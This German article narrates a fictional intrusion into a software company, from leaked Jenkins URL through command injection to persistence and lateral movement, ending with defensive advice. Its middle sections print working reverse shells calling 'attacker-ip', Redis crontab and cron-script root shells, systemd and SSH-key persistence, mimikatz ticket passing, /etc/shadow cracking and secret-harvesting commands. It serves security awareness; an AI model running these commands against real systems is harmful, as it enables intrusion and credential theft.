Vom Zugriff zur Kontrolle

Wie aus einer unscheinbaren Schwachstelle vollständige Systemkontrolle wurde

Vor wenigen Wochen durfte ich in meiner beruflichen Laufbahn als technischer Ansprechpartner und koordinierende Schnittstelle bei der Beauftragung, Begleitung und Auswertung eines umfangreichen Penetrationstests wertvolle Einblicke gewinnen.

Dabei ist mir bewusst geworden, wie schwer greifbar dieses Thema für Außenstehende bleibt. Die Berichte wirken abstrakt, die beschriebenen Angriffswege oft technisch verschachtelt, die Relevanz einzelner Schwachstellen auf den ersten Blick gering. Und doch führen gerade diese kleinen technischen Lücken in der Praxis immer wieder zur vollständigen Systemkontrolle.

Die nachfolgende Geschichte ist ein fiktiver, aber realistischer Fall. Sie zeigt, wie ein Angriff ablaufen kann, wenn nur wenige Sicherheitsmechanismen versagen. Nicht, weil sie ignoriert wurden, sondern weil sie falsch eingeschätzt oder unzureichend implementiert waren.

Es geht nicht um ein Worst-Case-Szenario. Es geht um ein typisches Szenario.

Der Artikel beschreibt in mehreren Abschnitten, wie ein Angriff aus dem Internet seinen Lauf nimmt: Beginnend mit einer unterschätzten Schwachstelle, über den ersten Zugriff mit systemeigenen Mitteln, bis hin zu vollständiger Kontrolle und lateraler Bewegung im internen Netz. Abschließend folgt eine technische Analyse, wie solche Vorfälle verhindert oder zumindest erkannt werden können. Ohne Marketingversprechen, aber mit Substanz.

Diese Geschichte ist kein Lehrbuch. Aber sie soll sensibilisieren, einordnen, und aufzeigen, was mit wenig Aufwand, aber viel Wirkung technisch möglich ist.

Disclaimer
Die folgende Geschichte ist vollständig fiktiv. Sie basiert ausschließlich auf öffentlich bekannten Angriffsmustern, allgemein zugänglicher Technik und typischen, in der Literatur beschriebenen Schwachstellen. Sie steht in keinerlei technischem oder inhaltlichem Zusammenhang mit dem von mir begleiteten Penetrationstest oder anderen realen Projekten. Es wurden keine konkreten Vorfälle, keine unternehmensbezogenen Informationen und keine vertraulichen Daten verarbeitet oder abgeleitet.

Der Auslöser: Eine unscheinbare Schwachstelle im Netz

Die Geschichte beginnt nicht mit einer komplexen Zero-Day-Lücke oder einem Millionen-Botnetz, sondern mit einem simplen Google-Treffer. In einem ganz normalen Softwareunternehmen, nennen wir es Infradata GmbH, wurde ein PDF-Anhang über eine veraltete Subdomain öffentlich zugänglich gemacht. Das passierte absichtlich, also als Produktinformation, ohne Passwortschutz. Doch mit diesem Dokument begann ein vollständiger Systemeinbruch. Nicht weil das PDF selbst kompromittiert war, sondern weil es Informationen enthielt, die nie hätten nach außen dringen dürfen.

Auf Seite zwei, in der Fußzeile des PDFs, befand sich ein Build-Hinweis. Dort war eine URL eingetragen: https://ci.infra-data.io/job/Release-Build. Für jeden, der das Dokument herunterlädt, ist das nicht weiter auffällig. Für jemanden mit technischem Hintergrund ist es ein potenzieller Einstiegspunkt.

Angriff beginnt mit Recherche, nicht mit Exploits

Ein erfahrener Angreifer wird zunächst keine Tools starten, sondern lesen. Die URL zeigt auf eine Jenkins-Instanz, ein Continuous-Integration-Server, wie er in fast jedem Entwicklungsunternehmen zum Einsatz kommt. Ein schneller manueller Aufruf im Browser ergibt: Die Oberfläche ist öffentlich. Kein Login notwendig, Zugriff auf den Job-Log ist gegeben. Dort finden sich:

• Umgebungsvariablen wie AWS_SECRET_ACCESS_KEY
• Tokens für die Docker-Registry
• Hinweise auf verwendete Bibliotheken mit exakten Versionen
• Und vor allem: Links zu herunterladbaren Build-Artefakten

Was für das Entwicklungsteam „nur“ ein Build-Server ist, ist für den Angreifer eine API in Klartext. Und weil die Jenkins-Oberfläche keine Rate-Limiting-Mechanismen eingebaut hat, lassen sich Jobs durchprobieren, Parameter mutieren und Build-Definitionen auslesen. Damit steht der Werkzeugkasten weit offen.

Sichtbarkeit im Netz = Einfallstor

Bevor der Angriff konkret wird, folgt ein zweiter Schritt: die Netzstruktur kartieren. Der Angreifer nutzt Shodan, eine Suchmaschine für Geräte und Dienste im Internet. Mit einer einfachen Anfrage:

    ssl:"infra-data.io"

wird deutlich, dass neben dem CI-Server auch weitere Dienste online sind:

• Eine Sonatype Nexus-Instanz auf Port 8081
• Ein ungesicherter PostgreSQL-Port (5432, vermutlich versehentlich exposed)
• Eine Swagger-UI auf einer Subdomain api-staging.infra-data.io

• Eine unverschlüsselte FTP-Verbindung

Mit einem weiteren Tool wie Censys kann man zusätzlich nach TLS-Zertifikaten suchen, die Subdomains verraten, selbst wenn DNS sie nicht mehr auflöst. Dienste, die nicht mehr genutzt, aber noch online sind, werden so zur idealen Zielscheibe.

Undokumentiertes ist nicht gleich unentdeckt

Der Fehler liegt fast nie in der Technik selbst, sondern in ihrer Konfiguration. Reverse Proxies wie nginx oder Apache werden oft schnell aufgesetzt und falsch abgesichert. In internen Config-Dateien steht dann so etwas wie:

    location /admin/ {
        proxy_pass http://localhost:8080/admin/;
    }

Gedacht war das nur für den internen Zugriff. Aber die Regel leitet trotzdem durch und aus Sicht des Clients ist „localhost“ eben der Server selbst. So wird ein internes Admin-Panel durchgeschleust, ohne dass es jemand bemerkt. Auch APIs, die nie final released wurden, sind manchmal noch deployt. Das Swagger-UI ist offen, die /v1/internal/status-Route liefert Debug-Informationen.

Tools für die Früherkennung

Ein Angreifer braucht keine komplexe Infrastruktur. Eine einfache Recon-Phase mit folgenden Tools reicht oft aus:

• Amass – zur Subdomain-Enumeration
• httprobe oder httpx – um auf offene Webservices zu prüfen
• nmap – für Basis-Portscans mit Service Detection (-sV)
• whatweb oder wappalyzer – zur Erkennung eingesetzter Frameworks
• dirsearch, ffuf – um versteckte Routen und Panels zu entdecken

Kombiniert man diese Ergebnisse, entsteht ein realistisches Angriffsbild aus rein öffentlich zugänglichen Informationen. Keine Firewall hat ausgelöst. Kein Endpoint-Protection-System wurde umgangen. Kein verdächtiger Code wurde eingeschleust. Es war schlicht das, was sowieso schon offen im Internet lag, nur eben durch den falschen Kontext zu einem Risiko geworden.

Die eigentliche Lücke: fehlendes Problembewusstsein

Was in der Szene als „Low Hanging Fruit“ gilt, ist für viele Unternehmen eine unsichtbare Schwachstelle. Alte Domains, Debug-Parameter, öffentlich verfügbare DevOps-Tools oder offene Ports wirken harmlos, bis sie von außen betrachtet werden. Ein interner Penetrationstest prüft diese Lücken oft nicht, weil sie gar nicht im Scope sind. Ein externer Angreifer jedoch ist nicht limitiert durch offizielle Vorgaben. Er nimmt das, was da ist und nutzt es aus.

Damit ist der erste Schritt getan. Der Angreifer hat Zugriff auf den Build-Server, kennt Subdomains, hat API-Spezifikationen und kennt die genauen Versionen der eingesetzten Software. Alles durch offene Quellen und minimale Interaktion. Keine Alarme wurden ausgelöst.

Der erste Zugriff: Von außen nach innen mit Bordmitteln

Der Angreifer hat nun ein vollständiges Lagebild. Die angreifbare Infrastruktur ist kartiert, sensible Informationen wurden bereits in frei zugänglichen Logs und APIs gefunden. Jetzt geht es um den nächsten Schritt: Zugriff erlangen. Doch statt auf komplexe Exploits oder Zero-Day-Lücken zu setzen, beginnt der Angreifer mit etwas viel Naheliegenderem: Nutzung von Standardwerkzeugen und Systemfunktionen, wie sie auf nahezu jedem Server vorhanden sind.

Der Einstieg über falsch abgesicherte APIs

Ein Blick auf die zuvor identifizierte Swagger-UI liefert eine Übersicht über die verfügbaren Endpunkte. In der API-Dokumentation befindet sich ein Endpoint /admin/backup/download, der ursprünglich nur für autorisierte Nutzer gedacht war. Allerdings fehlt ein Authentifizierungsmechanismus, weder ein Token, noch ein Session-Cookie werden geprüft. Ein einfacher Request mit curl genügt:

    curl https://api.infra-data.io/admin/backup/download

Die Antwort: ein 200 OK mit einem vollständigen Backup der Datenbank, als ZIP-Datei, unverschlüsselt. Enthalten sind Konfigurationsdateien, Klartext-Logins, interne URLs und Deployment-Skripte.

Diese Art von Angriff nennt sich unauthenticated direct object access (UDOA) und sie ist erschreckend häufig. Entwickler testen intern, vergessen aber, Authentifizierung in der finalen Version zu erzwingen. Und weil Dev-Systeme oft produktionsnah sind, enthalten sie reale Daten oder Zugangsinformationen.

RCE über Parameter Injection

Neben der Backup-API gibt es einen weiteren potenziellen Einstiegspunkt: Ein Analyse-Tool, erreichbar über /tools/report, nimmt Parameter per GET-Request entgegen und erzeugt daraus serverseitig ein PDF. Ein klassischer Kandidat für Remote Code Execution (RCE) durch unsichere Parameternutzung.

Ein Test mit Burp Suite zeigt: Der Parameter template wird direkt an ein Node.js-Backend übergeben, das mit einem Systemaufruf ein PDF erzeugt. In einem ersten Versuch wird folgender Payload getestet:

    https://api.infra-data.io/tools/report?template=monthly

Soweit unauffällig. Doch was passiert, wenn man den Parameter manipuliert?

    https://api.infra-data.io/tools/report?template=$(id)

Wird der Rückgabewert des id-Befehls ins PDF übernommen, ist klar: Die Eingabe wurde nicht validiert. Der Server führt Shell-Kommandos aus. Damit ist der Angreifer nun in der Lage, beliebige Kommandos auf dem Zielsystem über eine öffentlich zugängliche API, ohne Authentifizierung, auszuführen. Ein einfacher whoami, ls, curl, wget, oder gar ein Bash-Reverse-Shell-Aufruf reichen aus, um den Server vollständig zu übernehmen.

Reverse Shell mit Bordmitteln

Die folgenden Zeilen zeigen, wie ein Angreifer ohne externe Tools Zugriff auf ein Zielsystem erhält. Voraussetzung: Der Server erlaubt ausgehende Verbindungen.

Auf dem Angreifer-System:

    nc -lvnp 4444

Auf dem kompromittierten Server:

    bash -i >& /dev/tcp/attacker-ip/4444 0>&1

Oder mit PowerShell auf einem Windows-System:

    powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object
    System.Net.Sockets.TCPClient("attacker-ip",4444);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
    }

Solche Payloads lassen sich über fehlkonfigurierte APIs oder verwundbare Webformulare einschleusen, vor allem, wenn eval-Funktionen, os.system() oder child_process.exec() im Backend genutzt werden.

Dienste als Brücke ins System

Neben Web-Endpunkten bieten auch exposed Services Angriffsfläche. In unserem Fall ist ein PostgreSQL-Port offen. Ohne Authentifizierung lässt sich hier nichts ausrichten. Doch was, wenn Default-Zugänge aktiv sind? Ein schneller Versuch mit psql:

    psql -h target-ip -U postgres

Erfolg. Kein Passwort notwendig. Zugriff auf sämtliche Tabellen. Der Angreifer exportiert Passworthashes, schaut nach Sessions und Tokens, prüft, ob Logins oder Umgebungsvariablen sensitive Werte enthalten.

Ist ein Redis-Port offen, lässt sich dieser sogar für einen eigenen Zugang „missbrauchen“:

    echo -e "\n\n* * * * * bash -i >& /dev/tcp/attacker-ip/4444 0>&1\n\n" > crontab.txt
    redis-cli -h target-ip -x set backup < crontab.txt
    redis-cli -h target-ip config set dir /var/spool/cron/
    redis-cli -h target-ip config set dbfilename root
    redis-cli -h target-ip save

In dieser Variante schreibt Redis eine Crontab-Datei direkt in das Cronverzeichnis des Root-Users. Ergebnis: Der Angreifer hat in wenigen Minuten Root-Shell per Cronjob, nur mit Redis-Bordmitteln, keine Malware, keine Exploits.

Schwächen sind nicht tief verborgen, sie liegen offen!

Was alle diese Methoden eint: Sie benötigen keine Schadsoftware, keine Ausnutzung von Memory-Leaks oder komplexer CVEs. Sie beruhen auf Systemfunktionen, die falsch abgesichert sind. APIs, die zu viel können. Ports, die zu offen sind. Dienste, die nie hätten erreichbar sein dürfen.

Die technische Raffinesse liegt in der Kombination: öffentlich sichtbare Infrastruktur + minimaler Authentifizierungsfehler + Standardkommandos. Daraus entsteht ein vollständiger Bruch der Systemgrenzen, ganz ohne Alarm, ohne Anomalie.

Die entscheidende Erkenntnis: Systeme sind nicht dann sicher, wenn sie keinen Exploit kennen, sondern wenn sie keine unnötige Angriffsfläche bieten. Der Zugriff beginnt oft mit etwas, das nicht einmal als Sicherheitsrisiko gesehen wird. Bis jemand es ausnutzt.

Der Umbau beginnt: Von Zugriff zu Kontrolle

Ein erster Zugriff ist kein Endpunkt, sondern der Start einer zweiten, wesentlich kritischeren Phase. Angreifer haben jetzt einen Fuß in der Tür. Sie können die Systeme von innen sehen, Dienste untersuchen und Wege finden, von einem ersten, möglicherweise eingeschränkten Zugang ausgehend Kontrolle zu übernehmen. Genau jetzt entscheidet sich, ob es beim Eindringen bleibt oder ob ein vollständiger Systembruch bevorsteht. Technisch betrachtet beginnt hier die Post-Exploitation: Aufklärung des internen Netzwerks, Dumpen von Secrets, Privilege Escalation und Persistenz. Alles ausschließlich mit Bordmitteln oder standardisierten Tools, die auf jeder Kali-Linux-Installation abrufbar sind.

Privilege Escalation: Interne Infrastruktur wird zur Waffe

Kaum ein Unternehmen betreibt Infrastruktur, bei der jeder Service perfekt isoliert ist. Meist sorgen Komfortfunktionen dafür, dass Anwendungen mehr Rechte besitzen als notwendig. Der Angreifer testet deshalb zunächst lokale Konfigurationen:

    sudo -l

Findet sich ein Eintrag wie:

    (ALL) NOPASSWD: /usr/bin/rsync

bedeutet das: Die Anwendung darf rsync als Root ausführen, ohne Passwort. Mit zwei Befehlen wird daraus root-Shell:

    sudo rsync -a /root/.ssh/id_rsa .
    ssh -i id_rsa root@target

Keine Vulnerability in der Software, kein Exploit. Nur ein unsauber gesetzter sudo-Eintrag im Produktionssystem.

Ein weiterer Klassiker: Cronjobs. Ein Job, der regelmäßig ein Script in einem beschreibbaren Ordner ausführt, führt zuverlässig zu Root-Rechten:

    */5 * * * * root /opt/scripts/cleanup.sh

Das Script liegt in /opt/scripts/, beschreibbar durch die Gruppe deploy. Der Angreifer ergänzt einfach:

    echo "bash -i >& /dev/tcp/attacker-ip/4444 0>&1" >> cleanup.sh

Beim nächsten Cronlauf entsteht eine persistente Root-Shell.

Interner Portscan: Verborgene Ziele finden

Von innen sieht das Netz anders aus. Dienste, die extern unsichtbar sind, stehen jetzt offen:

    nmap -sV -p- 10.0.0.0/24

Ergebnis:

• Port 3389: Remote Desktop auf dem Windows-Domain-Controller
• Port 445: SMB-Dateifreigaben
• Port 9090: Eine Admin-Oberfläche der Container-Orchestrierung
• Port 15672: RabbitMQ-Management UI, ohne Login

Was von außen sicher schien, ist intern vollkommen exponiert.

Secrets exfiltrieren: Tokens, Keys und Konfigurationen

Mit LinPEAS oder manuellen Befehlen durchsucht der Angreifer das Dateisystem nach Zugangsdaten:

    grep -R "SECRET" / | grep -v "permission denied"

oder gezielter:

    find / -name "*.env" -type f

Erfolgsfaktoren:

• Tokens im Home-Verzeichnis von Deploy-Usern
• Service-Account-Keys für Cloud-Plattformen
• SSH-Keys in Backup-Ordnern
• API-Credentials in Container-Umgebungsvariablen

Ein Beispiel aus Kubernetes-Umgebungen:

    cat /var/run/secrets/kubernetes.io/serviceaccount/token

Dieser Token ermöglicht oft vollständige Kontrolle über den Cluster, wenn RBAC falsch konfiguriert wurde.

Persistenz: Unsichtbar bleiben

Hat ein Angreifer Root-Zugriff erreicht, will er ihn behalten. Dazu nutzt er Mechanismen, die im Normalbetrieb niemand überprüft:

Variante 1: Systemd-Unit anlegen

    echo "[Service]
    ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/5555 0>&1'
    [Install]
    WantedBy=multi-user.target" > /etc/systemd/system/srv-sync.service

    systemctl enable srv-sync.service

Die Unit wird als regulärer Hintergrunddienst getarnt.

Variante 2: SSH-Authorized Keys erweitern

    echo "ssh-rsa AAAA...attacker-key" >> /root/.ssh/authorized_keys

Die Session ist ab jetzt dauerhaft reproduzierbar.

Variante 3: Container hijacken

Eine Shell im Host ermöglicht das Injizieren eigener Images:

    docker run -v /:/host -it ubuntu chroot /host bash

Damit werden Container-Limits komplett außer Kraft gesetzt.

Von einem System zum nächsten: Pivoting

Sobald der Angreifer Bewegungsfreiheit hat, wird die Reichweite vergrößert. Tools wie Chisel, socat oder SSH-Tunnels verwandeln den kompromittierten Server in eine Sprungstation.

    ssh -L 4444:10.0.0.50:3389 root@target

Ein lokaler Port auf der Angreifer-Maschine wird so zu RDP des Domain-Controllers. Kein direkter Zugriff nötig, keine Firewallregel durchbrochen, der Tunnel nutzt nur bereits bestehende Verbindungen.

Mit BloodHound wird die interne Active Directory-Struktur automatisch kartiert:

    bloodhound-python -u user -p pass -d domain.local -c all -ns 10.0.0.10

Das Tool sucht nicht nur nach Administratoren, sondern nach kürzesten Eskalationspfaden zu ihnen.

Die Dynamik verschiebt sich

Was als kleine Schwachstelle begann, hat sich zur vollständigen Übernahme eines Systems entwickelt, ganz ohne Malware, auffälligen Netzwerkverkehr oder versehentliche Systemabstürze.

Der Angreifer:

1. hat Root-Zugriff auf einen produktiven Server
2. kann sich im internen Netz bewegen
3. kann sich jederzeit wieder verbinden
4. kann zuverlässig und unbemerkt Daten extrahieren

Die Verteidiger hingegen sehen nur normale Systemprozesse. Nichts wirkt ungewöhnlich. Alles läuft stabil.

Die eigentliche Gefahr entsteht nicht durch einzelne Schwächen sondern durch ihre Kombination.

Das unsichtbare Netzwerk: Seitwärtsbewegung und Datensammlung

Ein kompromittiertes System ist kein abgeschlossenes Ziel. Vielmehr ist es ein Brückenkopf in ein internes Netzwerk, dessen wahre Schwächen erst jetzt sichtbar werden. Die Angreifer nutzen diesen Zugang, um Informationen zu sammeln, Verbindungen zu kartieren und sich lateral zu bewegen, Schritt für Schritt, Host für Host. Und dabei hinterlassen sie kaum Spuren, denn die verwendeten Techniken basieren nicht auf Malware, sondern auf legitimen Protokollen, Systemtools und Konfigurationen, die im Alltag niemand hinterfragt.

Interne Erkundung: Von der Shell zum Lageplan

Der erste Schritt besteht darin, das Netzwerk aus der neuen Perspektive zu verstehen. Welche Hosts sind erreichbar? Welche Dienste lauschen intern, aber nicht extern? Wo gibt es Überschneidungen von Accounts, SSH-Keys oder Konfigurationsdateien?

Ein schneller Überblick mit klassischem Portscan:

    nmap -sT -Pn 10.0.0.0/24 --open

Dieser Scan entdeckt interne Hosts, die z. B. Admin-Panels, interne Datenbanken oder andere Webinterfaces anbieten. Noch unauffälliger funktioniert das mit dem Tool arp-scan:

    arp-scan --interface=eth0 --localnet

Ein Beispiel: Ein interner Jenkins-Server mit offener REST-API wird erkannt. Der Angreifer testet sofort:

    curl http://10.0.0.42:8080/api/json

Ist der Server nicht durch Login oder IP-Filter geschützt, lassen sich Jobs einsehen, Trigger starten und mit passenden Payloads sogar Reverse Shells erzeugen. Alles über die offizielle API.

Lateral Movement: Legitime Kanäle, gefährliche Wirkung

Die Bewegung im Netzwerk erfolgt nicht durch Exploits, sondern durch vorhandene Mechanismen. Häufig genutzte Wege:

• SSH mit wiederverwendeten Schlüsseln:
  Ein gestohlener Private Key aus einem DevOps-Container ist gültig auf einem anderen Host, ohne Passwort.

• SMB/WinRM in Windows-Domänen:
  Mit gültigen Zugangsdaten reicht ein einziger Befehl:

  Invoke-Command -ComputerName DC01 -ScriptBlock { Get-Process } -Credential $cred

• RDP mit übergebenem Ticket (Pass-the-Ticket):
  Ein in mimikatz extrahierter Kerberos-Ticket-Granting-Ticket (TGT) erlaubt direkte Anmeldung am Zielhost:

  sekurlsa::tickets
  kerberos::ptt ticket.kirbi

• Kubernetes: Ungeprüfte RBACs:
  Zugriff auf ein Pod mit kubectl exec:

  kubectl exec -it backend-756b54d6bc-4n8lf -- /bin/bash

  Damit kann Code beliebig innerhalb des Clusters ausgeführt werden.

Datensammlung: Was wirklich wertvoll ist

Ein häufiger Irrtum in Sicherheitskonzepten: Die Annahme, dass sensible Daten in abgesicherten Speichern liegen. In der Praxis finden Angreifer wertvolle Informationen an unerwarteten Orten:

• Konfigurationsdateien mit hartkodierten Tokens
• SQL-Dumps in temporären Ordnern
• Zugriffsprotokolle mit Session-IDs
• Private SSH-Keys in .bash_history

• Zugangsdaten in YAML- oder .env-Dateien

Ein Beispiel:

    find / -type f -name "*.env" -exec grep -H "PASSWORD" {} \;

Dieser einfache Befehl extrahiert Passwörter aus Umgebungsdateien, die nie hätten auf dem System landen dürfen.

Auch Office-Dokumente und PDFs enthalten oft Metadaten mit Username, Versionierung oder sogar Kommentaren, die interne Systeme verraten. Tools wie exiftool oder metagoofil extrahieren diese Daten automatisch:

    exiftool confidential_report.pdf

Ausgabe:

    Author: Markus L.
    Producer: PDFCreator 4.3
    CustomProperty: intranet.marketing.corp:8080

Damit erhält der Angreifer mit nur einer Datei einen weiteren internen Endpunkt.

Passwörter und Hashes: Einmal gefunden, überall nutzbar

In vielen Umgebungen sind Zugangsdaten nicht nur wiederverwendet, sondern unzureichend abgesichert. Ein simples Beispiel:

    cat /etc/shadow

Gefunden: ein MD5-Hash eines alten Benutzerpassworts. Dieser wird in hashcat gejagt:

    hashcat -m 500 hash.txt rockyou.txt

Wird der Hash geknackt, folgt die Verwertung:

• SSH-Login mit dem Benutzer
• Zugriff auf Netzlaufwerke
• Anmeldung an internen Webservices
• Evtl. Authentifizierung an Backup-Systemen

Selbst moderne Hashes wie bcrypt oder PBKDF2 sind angreifbar, wenn schwache Passwörter verwendet wurden.

Automatisierung: Mehr Informationen, weniger Aufwand

Tools wie BloodHound und SharpHound analysieren automatisch Active Directory-Umgebungen und zeigen, wie ein einfacher Benutzer zu Domain Admin werden kann, mit exakten Schritten, visualisiert als Graphen.

In Linux-Umgebungen liefern linpeas.sh und pspy detaillierte Informationen über laufende Prozesse, ungewöhnliche Crontabs und Berechtigungsfehler. Alles ohne besondere Rechte.

Beispielhafte Nutzung von pspy:

    ./pspy64

Ausgabe:

    2025/10/29 12:45:01 CMD: UID=0    PID=2150   | /usr/bin/python3 /home/deploy/scripts/sync.py

Das Skript läuft regelmäßig als root – idealer Einstiegspunkt.

Die Kontrolle wird strukturell

Nach diesen Schritten ist das Netzwerk nicht nur kompromittiert, sondern kartiert. Der Angreifer weiß:

• wo sich kritische Dienste befinden
• welche Hosts erreichbar sind
• welche Credentials gültig sind
• welche Dienste offen, aber nicht abgesichert sind
• wo Persistenz eingebaut werden kann

Diese Informationen lassen sich nutzen, um gezielt Daten zu extrahieren, Dienste zu manipulieren oder Systeme langfristig und oft ohne weiteres Eingreifen unter Kontrolle zu halten.

Die ursprüngliche Schwachstelle ist längst nicht mehr sichtbar. Der Angriff ist nun strukturell, tief verankert und systematisch vorbereitet. Das Unternehmen selbst hat keine Vorstellung davon, wie weitreichend die Kontrolle des Angreifers inzwischen ist.

Die Lehren aus dem Fall: Technische Abwehr mit Augenmaß

Wer nachvollzogen hat, wie einfach ein realistischer Angriff durchführbar ist – vom ersten externen Scan bis zur vollständigen Kontrolle über interne Systeme –, wird unweigerlich fragen: Was lässt sich dagegen tun? Die Antwort liegt nicht in generischen Checklisten oder modischen Security-Produkten, sondern in durchdachten, technisch fundierten Schutzmaßnahmen, die genau an den beobachteten Schwachstellen ansetzen. Es geht nicht um 100 Prozent Sicherheit, sondern um realistische Widerstandsfähigkeit. Das Ziel: Hürden schaffen, Aufwand erzeugen, Sichtbarkeit herstellen.

1. Minimierung der Angriffsfläche – Prinzip Sichtbarkeit

Der erste Angriff beginnt dort, wo Systeme unnötig öffentlich sind. Technische Gegenmaßnahmen:

• Automatisiertes Exposure-Monitoring
  Tools wie Shodan Monitor, LeakIX oder Censys ASM scannen proaktiv IP-Ranges und Domains nach neuen oder unerwünschten offenen Ports, verwaisten APIs oder Fehlkonfigurationen.

• DNS- und Zertifikatstransparenz überwachen
  Tools wie ct-monitor, crt.sh oder DNSDumpster helfen dabei, neue Subdomains oder Zertifikate zu identifizieren, die versehentlich veröffentlicht wurden.

• Asset-Mapping durch Recon-Tools
  Automatisierte Recon-Frameworks wie Amass, ReconFTW oder Nuclei liefern konsolidierte Übersichten aller erreichbaren Endpunkte, mit passgenauen Tests für Schwachstellen.

Beispiel:

    amass enum -d firma.de -active -ip

Ausgabe: Liste aller aktiven Subdomains und IPs, inkl. CDN und Cloud-Anbindung.

2. Grenzen härten, aber richtig

Grenzschutz ist mehr als ein VPN oder eine MFA-Lösung. Folgende Punkte entscheiden über Wirksamkeit:

• WAFs korrekt konfigurieren
  Standard-WAFs erkennen kein SSRF, keine komplexen RCE-Chains oder Encoding-Bomben. Regelbasierte Filter (z. B. mit ModSecurity) müssen angepasst und getestet werden.

• Zugriffsrechte für Reverse Proxies einschränken
  Der häufige Fehler: Proxies leiten Anfragen direkt an interne Admin-Panels oder Debug-Endpoints weiter. Besser: internes ACL-Design mit expliziten Freigaben.

• SSRF-Absicherung durch Metadata-Blocking
  Cloud-Dienste wie AWS oder GCP bieten Metadaten über interne IPs. Diese müssen durch lokale Firewall-Regeln blockiert werden:

  iptables -A OUTPUT -d 169.254.169.254 -j DROP

• Admininterfaces isolieren
  Webinterfaces wie Jenkins, Grafana, Kibana oder Portainer gehören nicht in öffentliche Netze. Sie sollten nur per VPN oder über bastionierte Hosts erreichbar sein.

3. Secrets-Management ernst nehmen

Ein Großteil der Angriffe entsteht durch versehentlich veröffentlichte Zugangsdaten. Was hilft:

• Scanning-Pipelines mit GitLeaks oder TruffleHog
  Automatisierte GitHooks und CI-Scanner prüfen Commits auf Tokens, Keys, Passwörter:

  gitleaks detect --source=.

• Zentrale Vaults wie HashiCorp Vault oder AWS Secrets Manager
  Keine Zugangsdaten mehr in .env, YAML oder Code. Zugriffe erfolgen per kurzlebigem Token.

• Leseberechtigungen auf Logs und Dumps einschränken
  Fehlerprotokolle sollten keine Tokens, Session-IDs oder Stacktraces mit Pfaden enthalten. Logging-Frameworks wie Logback oder Log4j müssen entsprechend konfiguriert werden.

4. Sichtbarkeit erhöhen, Angriffe erkennen

Angriffe sind oft nicht zu verhindern, aber zu erkennen. Hilfreich sind:

• Canarytokens
  Beispieldateien mit eingebautem Webhook:

  wget https://canarytokens.org/generate/token.docx

  Wird die Datei geöffnet oder verschoben, erfolgt ein HTTP-Callback. Perfekt für Honeypot-Repositories.

• Netzwerk-Tarpits wie tarpit oder LaBrea
  Diese Dienste verlangsamen und protokollieren Scans automatisch, ohne nennenswerte Ressourcen zu verbrauchen.

• SIEM-Korrelation und Trigger-Alerts
  Wenn plötzlich ein internes Script curl auf externe IPs ausführt oder /etc/passwd per scp transferiert wird, sollte ein automatisierter Alarm ausgelöst werden.

5. Pentests nicht nur als Pflicht verstehen

Sicherheit ist kein Zustand, sondern ein Prozess. Der sinnvollste Weg, um Schwachstellen zu erkennen, bevor Angreifer es tun:

• Zielgerichtete externe Pentests mit Fokus auf Realismus
  Keine PDF-Reports nach Schema F, sondern gezielte Simulation von Szenarien wie Credential Leaks, Cloud-Exposure oder API-Fehlkonfigurationen.

• Purple-Teams statt Red-Teams
  Gemeinsame Übungen mit DevOps, QA und Security mit echtem Lerneffekt.

• Toolchain selbst nutzen lernen
  Viele der vorgestellten Werkzeuge können auch von internen Admins eingesetzt werden. Nicht zum Angreifen, sondern zum Verstehen.

Sicherheit entsteht durch Sichtbarkeit, Klarheit und technische Substanz

Wer weiß, wie Angriffe aussehen, kann ihnen wirksam begegnen. Es geht nicht um Verunsicherung, sondern um Verantwortung: Wenn ein einzelnes offenes Repository, eine fehlerhafte API oder ein Debug-Endpunkt genügt, um ein ganzes Unternehmen zu kompromittieren, dann lohnt es sich, diesen Einstiegspunkten die nötige Aufmerksamkeit zu schenken.

Sicherheit bedeutet nicht, alles zu verschließen. Sondern zu wissen, was offen ist und was das bedeutet.